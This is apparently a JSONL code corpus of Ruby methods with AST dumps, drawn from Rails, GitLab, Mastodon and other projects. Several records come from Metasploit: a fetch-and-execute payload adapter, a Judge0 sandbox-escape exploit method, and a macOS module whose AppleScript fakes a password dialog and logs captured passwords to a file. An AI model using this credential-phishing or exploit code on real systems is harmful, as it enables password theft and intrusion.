{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-schema-validation/lib/gitlab/schema/validation/adapters/column_structure_sql_adapter.rb","start_line":119,"raw_source":"def parse_a_const(a_const)\n            return unless a_const\n\n            # In https://github.com/pganalyze/libpg_query/blob/17-6.1.0/protobuf/pg_query.proto,\n            # val is a oneof protobuf type. As explained in https://protobuf.dev/reference/ruby/ruby-generated/,\n            # at most one of the fields can be set. We can't use get_value_from_key\n            # because to_h may return an empty ival if the default value was set\n            # due to a google-protobuf 4 change to address\n            # https://github.com/protocolbuffers/protobuf/issues/6167.\n            #\n            # Get the active oneof field and use two public send methods.\n            # For example, if :ival is active, call `ival.ival`.\n            field_name = a_const.val\n            return unless field_name\n\n            # rubocop:disable GitlabSecurity/PublicSend -- This is the cleanest way to do this with a oneof protobuf type.\n            a_const.public_send(field_name)&.public_send(field_name)\n            # rubocop:enable GitlabSecurity/PublicSend\n          end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_a_const\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a_const\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_const\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"field_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_const\"]},\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"field_name\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a_const\"]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},\"public_send\",{\"type\":\"lvar\",\"children\":[\"field_name\"]}]}]}]}","id":"04d5a329-b66b-4c04-9579-4469a25b6979"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/notifications_controller.rb","start_line":40,"raw_source":"def unread_count\n    limit = limit_param(DEFAULT_NOTIFICATIONS_COUNT_LIMIT, MAX_NOTIFICATIONS_COUNT_LIMIT)\n\n    with_read_replica do\n      render json: { count: browserable_account_notifications.paginate_groups_by_min_id(limit, min_id: notification_marker&.last_read_id, grouped_types: params[:grouped_types]).count }\n    end\n  end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unread_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"send\",\"children\":[null,\"limit_param\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_NOTIFICATIONS_COUNT_LIMIT\"]},{\"type\":\"const\",\"children\":[null,\"MAX_NOTIFICATIONS_COUNT_LIMIT\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_read_replica\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browserable_account_notifications\"]},\"paginate_groups_by_min_id\",{\"type\":\"lvar\",\"children\":[\"limit\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_marker\"]},\"last_read_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"grouped_types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"grouped_types\"]}]}]}]}]},\"count\"]}]}]}]}]}]}]}]}]}","id":"27085f39-3ee8-4f53-8112-d7feb9dbc18e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/application.rb","start_line":125,"raw_source":"def live_version(platform: nil)\n        Spaceship::Tunes::AppVersion.find(self, self.apple_id, true, platform: platform)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"live_version\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"Tunes\"]},\"AppVersion\"]},\"find\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"apple_id\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]}]}","id":"1e42d1d5-9b27-448b-9b7e-e56ed553e427"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/allure_report.rb","start_line":95,"raw_source":"def environment_info\n          -> do\n            api_token = User::Data.admin_api_token || User::Data.test_user_api_token\n            return {} unless api_token\n\n            response = get(API::Request.new(API::Client.new(personal_access_token: api_token), '/metadata').url)\n            JSON.parse(response.body, symbolize_names: true).then do |metadata|\n              {\n                **metadata.slice(:version, :revision),\n                kas_version: metadata.dig(:kas, :version)\n              }.compact\n            end\n          rescue StandardError, ArgumentError => e\n            Logger.error(\"Failed to attach version info to allure report: #{e}\")\n            {}\n          end\n        end","complexity_score":29.3,"ast_json":"{\"type\":\"def\",\"children\":[\"environment_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"api_token\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"Data\"]},\"admin_api_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"Data\"]},\"test_user_api_token\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_token\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Request\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"personal_access_token\"]},{\"type\":\"lvar\",\"children\":[\"api_token\"]}]}]}]},{\"type\":\"str\",\"children\":[\"/metadata\"]}]},\"url\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_names\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"slice\",{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"sym\",\"children\":[\"revision\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"kas_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metadata\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"kas\"]},{\"type\":\"sym\",\"children\":[\"version\"]}]}]}]},\"compact\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to attach version info to allure report: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},{\"type\":\"hash\",\"children\":[]}]}]},null]}]}]}","id":"62b323fc-5c63-4fbf-9f21-1b69fdc15e37"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/server/server_command.rb","start_line":69,"raw_source":"def create_tmp_directories\n        %w(cache pids sockets).each do |dir_to_make|\n          FileUtils.mkdir_p(File.join(Rails.root, \"tmp\", dir_to_make))\n        end\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tmp_directories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"cache\"]},{\"type\":\"str\",\"children\":[\"pids\"]},{\"type\":\"str\",\"children\":[\"sockets\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"dir_to_make\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},{\"type\":\"str\",\"children\":[\"tmp\"]},{\"type\":\"lvar\",\"children\":[\"dir_to_make\"]}]}]}]}]}","id":"00bfa50d-f2e0-4e7e-b2a3-97c378fe4869"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/internal_helpers.rb","start_line":86,"raw_source":"def parse_env\n        return {} if params[:env].blank?\n\n        Gitlab::Json.parse(params[:env])\n      rescue JSON::ParserError\n        {}\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"env\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"env\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"hash\",\"children\":[]}]},null]}]}","id":"3f81e894-5075-4d83-854a-874307c1e19e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/concerns/reset_on_column_errors_spec.rb","start_line":84,"raw_source":"def load_query\n      scopes = [\n        TestAttribute.select('*'),\n        TestAttribute.select(TestAttribute.column_names.join(','))\n      ]\n\n      TestAttribute.from_union(scopes).load\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scopes\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestAttribute\"]},\"select\",{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestAttribute\"]},\"select\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestAttribute\"]},\"column_names\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestAttribute\"]},\"from_union\",{\"type\":\"lvar\",\"children\":[\"scopes\"]}]},\"load\"]}]}]}","id":"42933902-e050-41ea-9d98-a50bea71961f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/queries/update_contract.rb","start_line":57,"raw_source":"def user_allowed_to_change_public\n      if may_not_manage_queries?\n        errors.add :base, :error_unauthorized\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_allowed_to_change_public\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"may_not_manage_queries?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_unauthorized\"]}]},null]}]}","id":"24e47cd1-896c-4e16-8ff9-7ff9093ced85"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1162,"raw_source":"def test_date_field_with_extra_attrs\n    expected = %{<input id=\"post_written_on\" step=\"2\" max=\"2010-08-15\" min=\"2000-06-15\" name=\"post[written_on]\" type=\"date\" value=\"2004-06-15\" />}\n    @post.written_on = DateTime.new(2004, 6, 15)\n    min_value = DateTime.new(2000, 6, 15)\n    max_value = DateTime.new(2010, 8, 15)\n    step = 2\n    assert_dom_equal(expected, date_field(\"post\", \"written_on\", min: min_value, max: max_value, step: step))\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_date_field_with_extra_attrs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" step=\\\"2\\\" max=\\\"2010-08-15\\\" min=\\\"2000-06-15\\\" name=\\\"post[written_on]\\\" type=\\\"date\\\" value=\\\"2004-06-15\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"min_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2010]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[15]}]}]},{\"type\":\"lvasgn\",\"children\":[\"step\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"date_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"lvar\",\"children\":[\"min_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"lvar\",\"children\":[\"max_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"step\"]},{\"type\":\"lvar\",\"children\":[\"step\"]}]}]}]}]}]}]}","id":"405aa6c2-7b95-4b91-9192-c55cf6b756fd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/adapters/cmd/linux/http/ppc64.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HTTP Fetch',\n        'Description' => 'Fetch and execute an PPC64 payload from an HTTP server.',\n        'Author' => ['Brendan Watters', 'Spencer McIntyre'],\n        'Platform' => 'linux',\n        'Arch' => ARCH_CMD,\n        'License' => MSF_LICENSE,\n        'AdaptedArch' => ARCH_PPC64,\n        'AdaptedPlatform' => 'linux'\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTP Fetch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Fetch and execute an PPC64 payload from an HTTP server.\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Brendan Watters\"]},{\"type\":\"str\",\"children\":[\"Spencer McIntyre\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedArch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PPC64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"AdaptedPlatform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]}]}]}","id":"b0d6bc51-b2f8-4569-903b-aab8596b7488"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/lookup_context.rb","start_line":61,"raw_source":"def self.digest_cache(details)\n        @digest_cache[details_cache_key(details)] ||= Concurrent::Map.new\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"digest_cache\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"details\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@digest_cache\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"details_cache_key\",{\"type\":\"lvar\",\"children\":[\"details\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Concurrent\"]},\"Map\"]},\"new\"]}]}]}","id":"60d7efb4-fa55-48c1-85c0-390896217c5a"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/mailers_controller.rb","start_line":119,"raw_source":"def set_locale(&block)\n      I18n.with_locale(params[:locale] || I18n.default_locale, &block)\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_locale\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"68a269f0-e724-4558-abc7-b40b2620ddab"}
{"repo_name":"rack","file_path":"./repos/rack/lib/rack/response.rb","start_line":200,"raw_source":"def request_timeout?;     status == 408;                        end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"request_timeout?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"int\",\"children\":[408]}]}]}","id":"e2240844-6d36-4e4d-9da5-311b5762ab34"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/deprecation/proxy_wrappers.rb","start_line":22,"raw_source":"def method_missing(called, *args, &block)\n          warn caller_locations, called, args\n          target.__send__(called, *args, &block)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"called\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[null,\"caller_locations\"]},{\"type\":\"lvar\",\"children\":[\"called\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"__send__\",{\"type\":\"lvar\",\"children\":[\"called\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"fa73edaf-4df6-45e2-82e5-9db79477dd24"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/fasp/registrations_controller.rb","start_line":20,"raw_source":"def set_provider\n    @provider = Fasp::Provider.find(params[:provider_id])\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_provider\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fasp\"]},\"Provider\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider_id\"]}]}]}]}]}","id":"d9e0e0e3-ab6c-4f6d-9972-5cb44eb59cd8"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/password_prompt_spoof.rb","start_line":138,"raw_source":"def creds_script(pass_file)\n    %(\nset filename to \"#{pass_file}\"\nset myprompt to \"#{datastore['TEXTCREDS']}\"\nset ans to \"Cancel\"\nrepeat\n  try\n    set d_returns to display dialog myprompt default answer \"\" with hidden answer buttons {\"Cancel\", \"OK\"} default button \"OK\" with icon path to resource \"#{datastore['ICONFILE']}\" in bundle \"#{datastore['BUNDLEPATH']}\"\n    set ans to button returned of d_returns\n    set mypass to text returned of d_returns\n    if ans is equal to \"OK\" and mypass is not equal to \"\" then exit repeat\n  end try\nend repeat\ntry\n  set now to do shell script \"date '+%Y%m%d_%H%M%S'\"\n    set user to do shell script \"whoami\"\n  set myfile to open for access filename with write permission\n  set outstr to now & \":\" & user & \":\" & mypass & \"\n\"\n  write outstr to myfile starting at eof\n  close access myfile\non error\n  try\n    close access myfile\n  end try\nend try\n    )\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"creds_script\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pass_file\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"set filename to \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass_file\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"set myprompt to \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TEXTCREDS\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"set ans to \\\"Cancel\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"repeat\\n\"]},{\"type\":\"str\",\"children\":[\"  try\\n\"]},{\"type\":\"str\",\"children\":[\"    set d_returns to display dialog myprompt default answer \\\"\\\" with hidden answer buttons {\\\"Cancel\\\", \\\"OK\\\"} default button \\\"OK\\\" with icon path to resource \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ICONFILE\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\" in bundle \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"BUNDLEPATH\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    set ans to button returned of d_returns\\n\"]},{\"type\":\"str\",\"children\":[\"    set mypass to text returned of d_returns\\n\"]},{\"type\":\"str\",\"children\":[\"    if ans is equal to \\\"OK\\\" and mypass is not equal to \\\"\\\" then exit repeat\\n\"]},{\"type\":\"str\",\"children\":[\"  end try\\n\"]},{\"type\":\"str\",\"children\":[\"end repeat\\n\"]},{\"type\":\"str\",\"children\":[\"try\\n\"]},{\"type\":\"str\",\"children\":[\"  set now to do shell script \\\"date '+%Y%m%d_%H%M%S'\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"    set user to do shell script \\\"whoami\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  set myfile to open for access filename with write permission\\n\"]},{\"type\":\"str\",\"children\":[\"  set outstr to now & \\\":\\\" & user & \\\":\\\" & mypass & \\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"  write outstr to myfile starting at eof\\n\"]},{\"type\":\"str\",\"children\":[\"  close access myfile\\n\"]},{\"type\":\"str\",\"children\":[\"on error\\n\"]},{\"type\":\"str\",\"children\":[\"  try\\n\"]},{\"type\":\"str\",\"children\":[\"    close access myfile\\n\"]},{\"type\":\"str\",\"children\":[\"  end try\\n\"]},{\"type\":\"str\",\"children\":[\"end try\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}","id":"bc2c9714-47ec-4c6e-bf3b-b39b24e63c92"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/channels/application_cable/connection.rb","start_line":7,"raw_source":"def connect\n      self.current_user = find_verified_user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_user=\",{\"type\":\"send\",\"children\":[null,\"find_verified_user\"]}]}]}","id":"85f0eace-f1e7-4edf-afeb-8659a18ecd70"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/judge0_sandbox_escape_cve_2024_28189.rb","start_line":115,"raw_source":"def exploit\n    # Setting the `FETCH_DELETE` option seems to break the payload execution.\n    # `register_files_for_cleanup` will be used later to cleanup.\n    fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']\n    execute_command(payload.encoded)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FETCH_DELETE\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"FETCH_DELETE must be set to false\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]}]}","id":"db63e647-20f2-4e26-9e4d-6ad092784889"}
